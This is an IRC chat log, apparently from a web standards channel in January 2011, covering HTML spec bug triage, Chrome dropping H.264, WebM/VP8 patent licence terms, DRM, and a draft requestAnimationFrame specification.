[11:58:03.0000] <Hixie>
that would be neat

[11:58:04.0000] <Hixie>
well

[11:58:05.0000] <Hixie>
patches welcome!

[11:58:06.0000] <mpilgrim>
lol

[12:07:00.0000] <Ms2ger>
mpilgrim, looks like you've got outstanding feedback on Google's audio/video tests, any plans to address?

[12:07:01.0000] <mpilgrim>
coming this week

[12:07:02.0000] <Hixie>
man, suggesting that <device> should support usb and rs232 has sure hit a nerve

[12:08:00.0000] <Hixie>
that one note in the spec (which is only in the whatwg copy) has received at least 3 separate bugs voicing support for the dea

[12:08:01.0000] <Hixie>
idea

[12:08:02.0000] <Ms2ger>
Excellent

[12:11:00.0000] <webr3>
are the specs aligned enough to make an html and js application, then wrap it up and deploy as an extension which works in even a coupel of browsers (lke widget specs for isntance) ?

[12:11:01.0000] <Hixie>
which specs?

[12:12:00.0000] <webr3>
warp digital signatures and the like i guess - just anything that's interop between the browsers

[12:13:00.0000] <Hixie>
oh, widget specs?

[12:14:00.0000] <webr3>
just any specs that would allow you to create a web app in html + js (and related specs) then wrap it up and run it as an extension in anybrowser - kudos++ if it can run in main browser context

[12:15:00.0000] <Hixie>
web apps and extensions seem like unrelated concepts, i don't really understand

[12:15:01.0000] <Hixie>
an extension is something that can manipulate the browser or the page loaded in the browser,

[12:16:00.0000] <Hixie>
but a web page is something that a browser runs that can't affect the browser

[12:16:01.0000] <Hixie>
no?

[12:17:00.0000] <webr3>
depends hwo you're looking at it, on the other hand, an extension is something somebody can install and then trust to access the web, and given cors etc you can't do this w/ a normal js app, so people are forced to move in to creating extensions..

[12:17:01.0000] <AryehGregor>
Most Chrome extensions are mostly just web pages with access to some extra functions, aren't they?

[12:17:02.0000] <webr3>
just so they can make an app which can access the web..

[12:18:00.0000] <webr3>
AryehGregor, exactly - they are - and half the time the extra functions aren't wanted or required - there are many that just need the "can access the web" status

[12:19:00.0000] <webr3>
basically, every extension which doesn't extend the browser but is rather just an app w/ advanced permissions

[12:20:00.0000] <AryehGregor>
There's work in this direction, but nothing that multiple browsers actually implement yet, as far as I can see.

[12:22:00.0000] <webr3>
indeed - I raised on webapps and device-apis a few times but haven't refined down the "use-cases" yet to something v convincing - even though many have asked

[12:23:00.0000] <TabAtkins>
Yay, Chrome's dropping h.264!

[12:24:00.0000] <miketaylr>
just saw that

[12:26:00.0000] <Ms2ger>
(http://blog.chromium.org/2011/01/html-video-codec-support-in-chrome.html)

[12:29:00.0000] <Hixie>
there's something silly about me resolving bugs i filed with "Rationale: concurred with reporter's comments"

[12:29:01.0000] <othermaciej>
/me wonders if WebM will ever be submitted to a standards process

[12:29:02.0000] <TabAtkins>
Heh.

[12:30:00.0000] <AryehGregor>
Very interesting.

[12:30:01.0000] <Ms2ger>
Hixie, I've been thinking that too

[12:30:02.0000] <Hixie>
Ms2ger: http://www.w3.org/Bugs/Public/show_bug.cgi?id=11051 - i removed them, but this leaves holes in the numbers, is that right?

[12:30:03.0000] <AryehGregor>
This means H.264 is no longer a serious contender, even if Firefox loses a lot of market share.

[12:30:04.0000] <AryehGregor>
Hixie, I always thought it was amusing.

[12:31:00.0000] <Ms2ger>
I was thinking make DATA_CLONE_ERR 24

[12:31:01.0000] <AryehGregor>
othermaciej, what I wonder is whether Google will actually ever license its patents for anything other than using its exact implementation.

[12:31:02.0000] <Hixie>
does anyone implement DATA_CLONE_ERR yet?

[12:31:03.0000] <Ms2ger>
Fx

[12:31:04.0000] <AryehGregor>
Because it hasn't.

[12:31:05.0000] <othermaciej>
AryehGregor: orly

[12:31:06.0000] <Hixie>
Ms2ger: let's just leave it as is then

[12:31:07.0000] <Hixie>
Ms2ger: we can fill the holes later

[12:31:08.0000] <Ms2ger>
I've already changed it once, I can do it again ;)

[12:31:09.0000] <AryehGregor>
othermaciej, http://www.webmproject.org/about/faq/#what_if_someone_makes_a_change_to_the_code_and_gives_it_to_me_do_i_have_a_patent_license_from_google_for_that_change

[12:32:00.0000] <Hixie>
Ms2ger: from what i hear, long-term heycam has a plan to make these numbers academic instead

[12:32:01.0000] <Ms2ger>
But I was thinking the same thing earlier today, actually

[12:32:02.0000] <AryehGregor>
That's how I'm reading it.

[12:32:03.0000] <Hixie>
Ms2ger: s/instead/anyway/

[12:32:04.0000] <Hixie>
not sure where "instead" came from

[12:32:05.0000] <AryehGregor>
http://www.webmproject.org/license/additional/

[12:32:06.0000] <othermaciej>
AryehGregor: that addresses the issue of patent licenses on random changes to the code - it doesn't really address independent reimplementation

[12:32:07.0000] <othermaciej>
which is IMO the interesting question

[12:33:00.0000] <AryehGregor>
"Google hereby grants to you a . . . patent license to make, have made, use [etc.] . . . the contents of this implementation of VP8 . . ."

[12:33:01.0000] <Ms2ger>
With a class per exception? That sounded a little bloated to me

[12:33:02.0000] <othermaciej>
that license does say "this implementation"

[12:33:03.0000] <othermaciej>
is there any separate patent grant?

[12:33:04.0000] <AryehGregor>
Not that I'm aware of.

[12:33:05.0000] <Hixie>
Ms2ger: yeah i dunno how he'll do it

[12:34:00.0000] <AryehGregor>
Nobody seems to have publicized this point much, that I've seen.

[12:34:01.0000] <heycam>
I think my mail to public-script-coord had most of the pertinent details

[12:34:02.0000] <Ms2ger>
Anyway, keep the hole for now

[12:34:03.0000] <AryehGregor>
Maybe I should submit a Slashdot story, that often works to get people's attention.

[12:34:04.0000] <heycam>
Ms2ger, http://lists.w3.org/Archives/Public/public-script-coord/2010OctDec/0112.html

[12:34:05.0000] <AryehGregor>
Or maybe I should post to some Mozilla list asking why they're going along with it.

[12:35:00.0000] <Hixie>
oh dear, i reached http://www.w3.org/Bugs/Public/show_bug.cgi?id=11067

[12:35:01.0000] <AryehGregor>
I've definitely seen someone from Mozilla post to www-font saying that even field-of-use restrictions on patent licenses are unacceptable to them.

[12:35:02.0000] <Hixie>
is annevk around?

[12:35:03.0000] <othermaciej>
AryehGregor: I wonder if the independently implemented WebM decoder is technically liable for patent infringement

[12:35:04.0000] <Ms2ger>
Hixie, shall I add a random comment? :)

[12:35:05.0000] <othermaciej>
(ffvp8)

[12:36:00.0000] <Hixie>
Ms2ger: hah

[12:36:01.0000] <AryehGregor>
I can't see why not.

[12:36:02.0000] <othermaciej>
that is a surprisingly poor patent situation

[12:36:03.0000] <AryehGregor>
It's exactly what gave rise to Oracle's current lawsuit against Google, isn't it?  They reimplemented Java when the patent grant only covered the original implementation.

[12:37:00.0000] <othermaciej>
it's potentially a similar situation, yeah

[12:37:01.0000] <Ms2ger>
I'll just touch all bugs that I didn't file :)

[12:37:02.0000] <Hixie>
Ms2ger: then i'll just increase the priority on all your bugs... :-P

[12:37:03.0000] <othermaciej>
I'm concerned more from the practical aspect of "could Apple legally ship an independent reimplementation of WebM as part of QuickTime"

[12:38:00.0000] <othermaciej>
it sounds like that would not be safe, even if we were confident that the only applicable patents are held by Google

[12:38:01.0000] <Ms2ger>
Increase or decrease? Because increasing is fine with me ;)

[12:38:02.0000] <AryehGregor>
Well, you'd think that if Apple wanted to do that, they could talk to Google about it and get a special patent grant, if nothing else.

[12:39:00.0000] <AryehGregor>
My impression is there are other problems that prevent Apple and Microsoft from signing on.

[12:39:01.0000] <Hixie>
Ms2ger: either way, it touches the bug's change time :-P

[12:40:00.0000] <Ms2ger>
I'll need to reverse engineer your sorting algorithm to be sure whether your suggestion would help me

[12:41:00.0000] <Hixie>
my sorting algorithm is just sort-by-change-time-ascending

[12:41:01.0000] <Hixie>
click "Bugs" on damowmow.com/portal (under the column arbitrarily titled "Weekly") to see the list i use

[12:42:00.0000] <Hixie>
in the order i use it

[12:44:00.0000] <Ms2ger>
Oh, and input.selectionStart is still yours

[12:45:00.0000] <Hixie>
oops

[12:45:01.0000] <Hixie>
did you reassign it back?

[12:45:02.0000] <Ms2ger>
Yeah

[12:46:00.0000] <Hixie>
thanks

[12:55:00.0000] <othermaciej>
AryehGregor: I doubt there would be much enthusiasm for negotiating a one-off patent license - that's one thing that going through a standards process would help with

[12:57:00.0000] <AryehGregor>
It would certainly make sense to make a standard out of it.

[12:58:00.0000] <AryehGregor>
Just for appearances' sake, if nothing else.

[13:00:00.0000] <annevk>
Hixie, am now for a few minutes

[13:03:00.0000] <Hixie>
i fixed your formdata thing

[13:03:01.0000] <Hixie>
commented in the bug on how to use it

[13:04:00.0000] <annevk>
yay

[13:04:01.0000] <annevk>
kudos on Chrome for dropping H264

[13:05:00.0000] <annevk>
I cannot help but wonder if it was for legal reasons (those that were raised initially and dismissed)

[13:05:01.0000] <annevk>
but either way it rocks

[13:06:00.0000] <annevk>
I suspect it has something to do with P2P as well

[13:09:00.0000] <Hixie>
othermaciej: btw, any chance the deadlines for the four things that are past the deadline on issue-status.html could be changed? It makes it harder to check what is the next deadline to come up

[13:10:00.0000] <AryehGregor>
annevk, what could it have to do with P2P?

[13:11:00.0000] <annevk>
For P2P having one format is important

[13:12:00.0000] <annevk>
So not supporting H264 makes arguing for WebM easier

[13:12:01.0000] <Hixie>
othermaciej: also, can the deadline for -119 be pushed to after the chairs make a decision on -118? What I propose for 119 depends on the answer to 118.

[13:12:02.0000] <othermaciej>
Hixie: looking

[13:13:00.0000] <AryehGregor>
Ms2ger, where exactly is the Selection stuff implemented, in Firefox?  I've found the interface, but not the implementation.

[13:13:01.0000] <othermaciej>
I only see 3 expired items on issue-status.html at the moment

[13:13:02.0000] <othermaciej>
oh wait

[13:13:03.0000] <othermaciej>
misread the month

[13:13:04.0000] <Ms2ger>
Look for nsTypedSelection

[13:13:05.0000] <Hixie>
in other news, if any implementors care about how ;charset inside <meta content=""> is parsed, now is the time to write counter proposals for -125 and -126, I do not intend to write any myself.

[13:14:00.0000] <othermaciej>
Hixie: I can fix up the 4 that are marked expired

[13:14:01.0000] <othermaciej>
Hixie: not sure what to do about 119; can you explain the relation to 118 to me briefly?

[13:14:02.0000] <Hixie>
othermaciej: depending on how you resolve 118, there might not be an "up" relation at all, making 119 moot.

[13:15:00.0000] <othermaciej>
Hixie: would there be any other likely impact other than making the issue moot?

[13:16:00.0000] <othermaciej>
I wonder if abarth would care about 125 or 126

[13:16:01.0000] <othermaciej>
too bad he's not here at the moment

[13:16:02.0000] <Hixie>
well if you decide in leif's favour, i'd have to try to decode what leif was proposing so as to work out what impact it has on 119

[13:16:03.0000] <Hixie>
the only way it would not have an effect is if you decided in favour of the status quo, as far as i can tell

[13:17:00.0000] <Hixie>
and then my change proposal for 119 would likely just be the same two CPs from 118 but with slightly different rationales...

[13:17:01.0000] <Hixie>
...which would be based on what you considered a strong argument for 118

[13:20:00.0000] <othermaciej>
I would have to ask other people to indefinitely stretch the deadline, so the options I'd suggest are: (1) just write the proposals now with the understanding that they may be rendered moot; (2) ask for a fixed extension on the mailing list (e.g. an extra month to write counter-proposals) and I'll do my best to get 118 resolved in that time period; (3) ask for it to be tabled until 118 is resolved on the malning list, in which case I can't predict the answe

[13:20:01.0000] <othermaciej>
certainty

[13:21:00.0000] <Hixie>
i'm not asking for an indefinite stretch, unless you're saying the date you'll resolve 118 on is itself indefinitely stretched :-)

[13:22:00.0000] <Hixie>
and a fixed extension doesn't help if you still haven't resolved the other one by then

[13:30:00.0000] <Hixie>
ok well i sent an e-mail asking for an extension

[13:30:01.0000] <Hixie>
if we don't get it i guess i'll just let it slide and then when we get the resolution for -118 i'll reraise it saying we have new information :-)

[13:31:00.0000] <Hixie>
lunch time

[14:01:00.0000] <annevk>
At some point Mark Pilgrim made a fuss about Mozilla not doing H264 yet continuing to support Flash. I feel like pulling a Gruber but I cannot find it :/

[14:05:00.0000] <cying>
did google give any warning here about h.264?

[14:06:00.0000] <bga_>
h.268 :( ->  http://ru.wikipedia.org/wiki/SRWare_Iron instead chromium

[14:06:01.0000] <annevk>
If they did you would have known cying :)

[14:06:02.0000] <annevk>
We are a public group

[14:07:00.0000] <cying>
annevk: :)

[14:07:01.0000] <karlcow>
/me has difficulty to see that as a big news, but I may miss something.

[14:07:02.0000] <cying>
karlcow: how do you see it?

[14:08:00.0000] <karlcow>
they drop the support in Chrome, but if I understand it means that to play h264. there will be plug-ins? Am I right?

[14:09:00.0000] <karlcow>
either flash, or plugins on the OS platforms.

[14:09:01.0000] <cying>
karlcow: well, flash would require special code path to yank the h.264 video out of the HTML5 video tag and put it in a Flash player wrapper.

[14:10:00.0000] <cying>
karlcow: i see your point about other system codecs / Quicktime on the desktop

[14:10:01.0000] <cying>
karlcow: but mobile video would have weaker support

[14:10:02.0000] <karlcow>
indeed

[14:11:00.0000] <karlcow>
I think we do not know what is the real story behind aka the business figures

[14:12:00.0000] <karlcow>
on the other hand, it might help some people to move further away of h264 and encourage to adopt other codecs.

[14:12:01.0000] <karlcow>
We will see.

[14:12:02.0000] <annevk>
I posted a few theories above

[14:12:03.0000] <AryehGregor>
Chrome doesn't support pluggable <video> formats AFAIK, I think it's hardcoded into the source.

[14:13:00.0000] <cying>
it's true, but the WebM story is just really weak at the moment

[14:13:01.0000] <annevk>
AryehGregor, they use ffmpeg; so if that is pluggable somehow

[14:14:00.0000] <AryehGregor>
annevk, yeah, but I'm pretty sure the code that calls it is hardcoded to only allow a few formats.  I once asked in #chromium-dev or something whether there was official info on what <video>/<audio> formats Chrome supported, and a dev linked me to the source code.

[14:15:00.0000] <AryehGregor>
I didn't actually read the code or anything, but it looked like it involved short lists of supported formats supplied as literal arrays.

[14:15:01.0000] <AryehGregor>
Anyway, the status quo was that for web video you needed to encode as H.264 plus (Theora or WebM) anyway to work in the latest browsers.  This doesn't change that at all.

[14:15:02.0000] <AryehGregor>
Except that it pretty much quashes any hope that Firefox will be won over.

[14:17:00.0000] <AryehGregor>
Also, it's notable because the non-WebM-supporting browsers still support WebM if you get the user to download the codec, at least on desktop.  But the non-H.264-supporting browsers just don't support it period.

[14:17:01.0000] <AryehGregor>
(well, that's actually irrelevant to Google not supporting H.264, I guess, but it's notable in the broader picture)

[14:20:00.0000] <TabAtkins>
Dammit, twitter HTML-unescapes one level in their messages.

[14:30:00.0000] <cying>
so much for h.264 HTML5 video demos

[14:31:00.0000] <KrocCamen>
Microsoft and Apple, sitting in a tree…

[14:32:00.0000] <AryehGregor>
I don't know why people care so much about IE/Safari's non-support of WebM.  They'll still support it if the user installs the right codec, right?

[14:32:01.0000] <AryehGregor>
Aren't users adequately trained to install anything they're asked to if it says "You need to install this to play the video"?

[14:32:02.0000] <KrocCamen>
Flash will support WebM, minimising that necessity. Not that installing Flash isn’t torturous to begin with.

[14:33:00.0000] <AryehGregor>
Ah, right.

[14:33:01.0000] <webr3>
AryehGregor, there's quite a distrust w/ many users.. they're used to seeing messages like "you have a virus, click here to remove it" (which they do, just to download the virus)

[14:33:02.0000] <AryehGregor>
Anyway, mobile (read: iPhone) is still a problem.

[14:34:00.0000] <TabAtkins>
You seem to be contradicting yourself, webr3.  They can't be distrustful *and* click on the virus scanner downloads.

[14:35:00.0000] <annevk>
AryehGregor, expecting end users to install codecs seems very naive

[14:37:00.0000] <AryehGregor>
Well, some will.

[14:37:01.0000] <AryehGregor>
It's far from ideal, of course.

[14:37:02.0000] <AryehGregor>
But they only need to do it once.

[14:37:03.0000] <MikeSmith>
as I understand it, at this point Safari will not support WebM for the video element even if a user does manually install it

[14:38:00.0000] <AryehGregor>
I thought it supported anything QuickTime supported.  Does QuickTime not support WebM?

[14:38:01.0000] <MikeSmith>
I guess it does not

[14:38:02.0000] <MikeSmith>
and will not

[14:38:03.0000] <KrocCamen>
Not yet, because a plugin has not been made -- but it is being worked on.

[14:38:04.0000] <MikeSmith>
unless they change their position oin it

[14:38:05.0000] <AryehGregor>
Ah.

[14:38:06.0000] <MikeSmith>
ah

[14:39:00.0000] <KrocCamen>
Safari on the desktop will play WebM if the codec is installed, it’s iOS where it’s H.264 or nothing.

[14:39:01.0000] <MikeSmith>
KrocCamen: I didn't know a third-party plugin for it is possible

[14:39:02.0000] <MikeSmith>
ok

[14:39:03.0000] <KrocCamen>
Have you not heard of Perian?

[14:39:04.0000] <MikeSmith>
nope

[14:39:05.0000] <MikeSmith>
but I don't know much about Quicktime

[14:40:00.0000] <MikeSmith>
nor really about platform video stuff in general

[14:40:01.0000] <MikeSmith>
I am among the unwashed masses who just expect this stuff to work

[14:40:02.0000] <karlcow>
I wonder if things like Perian will be done for mac user base

[14:40:03.0000] <karlcow>
http://www.perian.org/

[14:41:00.0000] <roc>
Flash has announced support for VP8, not WebM

[14:41:01.0000] <karlcow>
http://groups.google.com/group/perian-discuss/browse_thread/thread/e32789fc0b2b7612

[14:42:00.0000] <karlcow>
http://trac.perian.org/changeset/1310

[14:43:00.0000] <jgraham>
roc: How significant is the difference, in context?

[14:43:01.0000] <roc>
I don't know

[14:44:00.0000] <roc>
conceivably they could support VP8+AAC in some non-WebM container, thus making their support token only

[14:44:01.0000] <roc>
which would make no sense

[14:44:02.0000] <roc>
except that we did observe Adobe's original announcement said "WebM" and was revised to "VP8"

[14:46:00.0000] <jgraham>
Maybe VP8 in a flash-specific container? Which would be OK if you could just switch containers without changing the video

[14:46:01.0000] <roc>
I suppose that's possible but it also doesn't make a lot of sense

[14:46:02.0000] <AryehGregor>
Presumably they'd have to support Vorbis too for that to be useful, yes?

[14:46:03.0000] <roc>
yes

[14:47:00.0000] <roc>
Also I'm surprised that they haven't produced any Flash build with any kind of VP8 support yet

[14:47:01.0000] <jgraham>
I find nothing in the video world makes a lot of sense, so it is hard to tell the actually nutty ideas from the merely nutty-sounding

[14:48:00.0000] <MikeSmith>
http://nodejs.org/old_spec/ (early spec for node from 2009)

[14:50:00.0000] <MikeSmith>
with <html lang="en-US-x-hixie"> and <link href="http://www.whatwg.org/style/specification">

[14:50:01.0000] <MikeSmith>
so now we can claim that node is part of HTML5!

[14:50:02.0000] <TabAtkins>
Yus!

[14:51:00.0000] <AryehGregor>
roc, why is Mozilla shipping WebM support when the VP8 patent license doesn't cover anything other than Google's exact implementation?

[14:54:00.0000] <roc>
I thought that was going to change

[14:54:01.0000] <AryehGregor>
Well, it hasn't yet.  http://www.webmproject.org/license/additional/

[14:54:02.0000] <AryehGregor>
"this implementation of VP8"

[14:54:03.0000] <roc>
in any case, what we have now is much better than the alternatives

[14:55:00.0000] <AryehGregor>
Yeah, that's certainly true.

[14:56:00.0000] <MikeSmith>
we really need to get it specced properly somewhere and published

[14:56:01.0000] <roc>
that is being worked on

[14:56:02.0000] <roc>
AryehGregor: note that the license says "patent license to make, have made, use, offer to sell, sell, import, transfer, and otherwise run, modify and propagate the contents of this implementation of VP8"

[14:57:00.0000] <roc>
note "modify" there ... the license applies to modifications of Google's implementation

[14:57:01.0000] <AryehGregor>
That doesn't give you a license to distribute the modified version.

[14:57:02.0000] <AryehGregor>
The FAQ says this explicitly.

[14:57:03.0000] <AryehGregor>
http://www.webmproject.org/about/faq/#what_if_someone_makes_a_change_to_the_code_and_gives_it_to_me_do_i_have_a_patent_license_from_google_for_that_change

[14:58:00.0000] <AryehGregor>
It sounds like maybe you have a patent license to any unmodified parts of the code, but not to the changes?

[14:58:01.0000] <AryehGregor>
Anyway, it certainly doesn't cover reimplementations.

[14:59:00.0000] <roc>
OK I don't understand that FAQ item in relation to that patent license, then

[14:59:01.0000] <roc>
however

[14:59:02.0000] <roc>
this license does cover reimplementations: http://www.webmproject.org/license/bitstream/

[15:00:00.0000] <Hixie>
woah, firefox alert() changed

[15:00:01.0000] <Hixie>
pretty

[15:00:02.0000] <jamesr_>
is it really tab-modal?

[15:00:03.0000] <roc>
AryehGregor: does that satisfy you?

[15:01:00.0000] <AryehGregor>
Hixie, it behaves badly on long lines, though.  It should break them, but content just becomes inaccessible instead (except by select all + copy/paste or such, I guess).

[15:01:01.0000] <jamesr_>
omg it is!

[15:01:02.0000] <roc>
jamesr_: yes

[15:01:03.0000] <jamesr_>
roc: what if two tabs have a script link? is it modal for both of 'em?

[15:01:04.0000] <roc>
I don't know

[15:02:00.0000] <jamesr_>
btw that gradient renders slow as balls on my linux box so resizing sucks (minefield 4.09b9pre 2011-01-07)

[15:02:01.0000] <AryehGregor>
roc, hmm.  That's quite confusing.  But yeah, that seems like it should cover things, unless Google wants to argue about exactly what is "necessarily" infringed.

[15:02:02.0000] <jamesr_>
large gradients are a pain

[15:02:03.0000] <roc>
jamesr_: I blame your X drivers

[15:02:04.0000] <AryehGregor>
I don't know why they have the other license at all.

[15:02:05.0000] <roc>
we use XRender

[15:02:06.0000] <jamesr_>
ah, i have compiz off

[15:03:00.0000] <roc>
AryehGregor: the other license covers people who want to use Google's VP8 implementation

[15:03:01.0000] <AryehGregor>
Why isn't that covered by the bitstream license, though?

[15:03:02.0000] <roc>
since it's quite likely that there are patents covering features of Google's VP8 implementation that are not "necessary" to implementing the specification

[15:03:03.0000] <AryehGregor>
In case they infringe random unrelated patents, I guess.

[15:03:04.0000] <roc>
right

[15:04:00.0000] <AryehGregor>
Okay, that makes sense.

[15:04:01.0000] <AryehGregor>
The FAQ should really be clearer, though.

[15:06:00.0000] <roc>
you might want to follow up on your chromium blog comment :-)

[15:06:01.0000] <roc>
if you can still find it

[15:06:02.0000] <roc>
amongst the noise

[15:08:00.0000] <AryehGregor>
Actually, I'll just delete it.

[15:08:01.0000] <AryehGregor>
Easier that way.

[15:09:00.0000] <AryehGregor>
(since I can't edit it, Blogger stinks that way)

[15:10:00.0000] <AryehGregor>
The commenters there implying Adobe paid Google to do this amuse me.

[15:11:00.0000] <AryehGregor>
It seems like a clear indication to me that Google will cut off Flash support too as soon as it's strategically possible (if ever).

[15:11:01.0000] <gsnedders>
I wonder if they will on Android

[15:11:02.0000] <gsnedders>
Esp. seeming their main competitor doesn't support it there.

[15:11:03.0000] <gsnedders>
But there again, I wonder if OEMs would just patch it back in…

[15:13:00.0000] <AryehGregor>
I imagine they will someday, but not until Flash is really mostly useless.

[15:13:01.0000] <AryehGregor>
/me is on the record as predicting Flash's demise in 2015 at the latest

[15:14:00.0000] <KrocCamen>
AryehGregor: It’s irrelevance will come much sooner.

[15:14:01.0000] <gsnedders>
/me declines to make such estimates

[15:14:02.0000] <AryehGregor>
Yeah, I was being conservative.

[15:14:03.0000] <AryehGregor>
No point in making predictions that have a significant chance of being wrong, right?

[15:15:00.0000] <gsnedders>
KrocCamen: For a lot of things, it is still going to to relevant as long as people want DRM on videos. And I don't see that going away soon…

[15:16:00.0000] <AryehGregor>
Flash uses DRM that's not broken?  Because you can do broken DRM with <video> too.

[15:17:00.0000] <gsnedders>
AryehGregor: how?

[15:17:01.0000] <KrocCamen>
gsnedders: And what if Google implement DRM in Chrome; they have bought a video DRM company... http://www.osnews.com/story/24099/Google_buy_DRM_firm_Widevine_Solution_to_HTML5_Video_Adoption_

[15:17:02.0000] <AryehGregor>
For a loose definition of "DRM".

[15:17:03.0000] <AryehGregor>
I mean, you can make it hard for users to save the video.

[15:18:00.0000] <AryehGregor>
KrocCamen, not a replacement unless all the browsers agree on a DRM scheme.  Plugins are more likely.

[15:20:00.0000] <gsnedders>
AryehGregor: Flash is a plugin, and has an installed user base.

[15:21:00.0000] <roc>
does iOS have any DRM support?

[15:21:01.0000] <AryehGregor>
gsnedders, yes, I agree, if you want more than basic obfuscation than Flash is a likely solution.

[15:21:02.0000] <AryehGregor>
The iOS platform is DRM'd.

[15:21:03.0000] <gsnedders>
roc: Not apart from FairPlay. But you also have no way to save files.

[15:21:04.0000] <AryehGregor>
I mean, you can't actually modify the programs or anything.

[15:21:05.0000] <AryehGregor>
Without jailbreaking, anyway.

[15:22:00.0000] <gsnedders>
AryehGregor: And most, e.g., IPTV solutions use DRM due to contractual obligations.

[15:23:00.0000] <gsnedders>
And that's a growing market, so we need some serious plan to move Flash there.

[15:25:00.0000] <roc>
Netflix has shown quite a bit of interest in HTML5 video

[15:26:00.0000] <KrocCamen>
Google TV will need to implement DRM internally, there doesn’t have to be any agreement between browser vendors there.

[15:33:00.0000] <AryehGregor>
Now gmaxwell has e-mailed me complaining about my Chromium blog post too.

[15:33:01.0000] <AryehGregor>
Well, at least that confusion has been cleared up.

[15:36:00.0000] <AryehGregor>
othermaciej, it turns out I was wrong, there's a separate bitstream license that covers all reimplementations and modified versions: http://www.webmproject.org/license/bitstream/

[15:36:01.0000] <othermaciej>
AryehGregor: I guess that covers anything that supports the exact bitstream in the spec

[15:37:00.0000] <AryehGregor>
I guess, yeah.

[15:37:01.0000] <AryehGregor>
But it's comparable to many other such patent grants, isn't it?  I'm pretty sure Adobe's patent grants on PDF have similarly narrow wording.

[15:38:00.0000] <AryehGregor>
I imagine the MPEG-LA license does too.

[15:38:01.0000] <AryehGregor>
(although I haven't looked at the latter, is it even public?)

[15:38:02.0000] <othermaciej>
I'm having trouble finding the bitstream guide

[15:38:03.0000] <othermaciej>
I have no idea what the terms of the MPEG-LA license are

[15:39:00.0000] <othermaciej>
ah, here we go http://www.webmproject.org/code/specs/

[15:41:00.0000] <AryehGregor>
It looks like the H.264 license agreement is only available in hard copy: http://www.mpegla.com/main/programs/AVC/Pages/AgreementExpress.aspx

[15:43:00.0000] <AryehGregor>
"Adobe grants . . . the royalty-free right . . . to make, have made, use, sell, import and distribute Compliant Implementations." http://www.adobe.com/pdf/pdfs/ISO32000-1PublicPatentLicense.pdf

[15:46:00.0000] <othermaciej>
yes, limiting patent grants to compliant implementations is a common set of terns for RF licensing for a standard

[15:58:00.0000] <bga_>
lol http://www.reddit.com/r/programming/comments/f0fb0/google_removing_h264_support_in_chrome/c1ccnwg


2011-01-12
[16:07:00.0000] <jamesr_>
heycam: are you around?

[16:14:00.0000] <heycam>
hi jamesr_

[16:14:01.0000] <jamesr_>
heycam: i heard a rumor you wrote some spec text for mozRequestAnimationFrame. is that true and if so where could i find it? i have some feedback on the proposal

[16:15:00.0000] <heycam>
jamesr_, yeah i started writing it up. let me find it...

[16:17:00.0000] <heycam>
http://people.mozilla.org/~cmccormack/anim-timing/Overview.html

[16:18:00.0000] <heycam>
that it claims script-based and native animations can be synchronized might be a bit strong. there might've been some issues there -- but it's been a couple of months since i've looked at it, so it's swapped out of my head atm...

[16:19:00.0000] <heycam>
that write-up doesn't include the event-based way of doing it, only callback functions

[16:20:00.0000] <jamesr_>
yes, i don't think the event-based way is very useful

[16:21:00.0000] <heycam>
I will try to bring it a WG soon so that there can be somewhere official to send comments. but in the meantime, here is fine.

[16:22:00.0000] <jamesr_>
heycam: ok. i'm implementing essentially that without the timestamps

[16:22:01.0000] <jamesr_>
which WG will it be?

[16:22:02.0000] <jamesr_>
(implementing in WebKit, that is)

[16:23:00.0000] <heycam>
without the timestamps? so the callback script looks up animationStartTime?

[16:24:00.0000] <heycam>
I did think of dropping that argument at one point; can't remember why I decided against it.

[16:24:01.0000] <jamesr_>
without the parameter to the callback and without window.animationStartTime

[16:24:02.0000] <jamesr_>
so just void requestAnimationFrame([callback]) where callback is void sample()

[16:24:03.0000] <heycam>
oh. so how does the callback get accurate timing about when it's being sampled for? (or it doesn't, i guess.)

[16:25:00.0000] <jamesr_>
it don't :)

[16:25:01.0000] <heycam>
is the issue that it's never going to be really accurate, because who knows how long the script will run for

[16:25:02.0000] <jamesr_>
yup

[16:25:03.0000] <heycam>
so you may as well just let the script just look at Date() or whatever

[16:25:04.0000] <jamesr_>
indeed. i'm not sure that the UA can make a better guess at the time to use than the script author can

[16:25:05.0000] <heycam>
it might be that the script author is never going to put in the effort to determine average callback function running times

[16:26:00.0000] <heycam>
but that the UA could do so reasonably easily

[16:26:01.0000] <heycam>
so the UA still might be able to give a reasonable approximation, with a rolling average

[16:26:02.0000] <jamesr_>
i don't think that average callback function running time isn't a useful input

[16:26:03.0000] <jamesr_>
but having a callback system instead of using setTimeout() is a big improvement, so i'm still very interested in the proposal

[16:26:04.0000] <heycam>
right, i think that is the more important aspect of it too

[16:27:00.0000] <heycam>
in SVG, you have SVGElement.getCurrentTime() (i think it is), which gives the current document time

[16:27:01.0000] <heycam>
(i.e. starting from 0s)

[16:27:02.0000] <jamesr_>
what's the relationship between that and Date.now()?

[16:27:03.0000] <heycam>
so at least if you wanted to sync with SVG animations, you could do something...

[16:27:04.0000] <heycam>
document time starts at 0 from the load event dispatch

[16:27:05.0000] <heycam>
and it's actually pausable

[16:28:00.0000] <heycam>
or pauseable

[16:28:01.0000] <jamesr_>
O_o

[16:28:02.0000] <heycam>
:)

[16:28:03.0000] <heycam>
that's SMIL for you

[16:28:04.0000] <heycam>
anyway, i doubt many people use that

[16:28:05.0000] <jamesr_>
no wonder SMIL has taken over the web

[16:28:06.0000] <heycam>
^_^

[16:28:07.0000] <jamesr_>
anyway do you know what WG this would be discussed in? i want to make sure it's one i subscribe to

[16:29:00.0000] <heycam>
it would be good to have a mailing list conversation about the benefits or not of the callback time argument

[16:29:01.0000] <heycam>
to me, Web Apps seems most appropriate

[16:29:02.0000] <jamesr_>
yeah, i'd like for more people to weigh in

[16:29:03.0000] <heycam>
but they've got a pretty big charter

[16:29:04.0000] <jamesr_>
the last thread about this was on public-webapps

[16:29:05.0000] <heycam>
dunno how amenable they are to just adding things

[16:29:06.0000] <heycam>
oh, ok

[16:29:07.0000] <jamesr_>
and someone from w3c requested that public-fx be cc'd on such discussions

[16:29:08.0000] <heycam>
oh right, probably doug

[16:30:00.0000] <heycam>
i think doug was thinking that the FX TF (and thus either CSS or SVG WGs) were better than web apps

[16:30:01.0000] <heycam>
because it deals with animation stuff

[16:30:02.0000] <heycam>
/me shrugs

[16:30:03.0000] <jamesr_>
yeah, but not many people are on public-fx

[16:32:00.0000] <heycam>
anyway, whenever that gets decided I can let you know

[16:32:01.0000] <heycam>
might mail some W3C people now to get the ball rolling

[16:32:02.0000] <jamesr_>
cool

[16:33:00.0000] <jamesr_>
i'm on public-webapps and public-fx so i should see any emails you send to one/both of those and will reply with feedback

[16:33:01.0000] <heycam>
ok, great

[16:33:02.0000] <jamesr_>
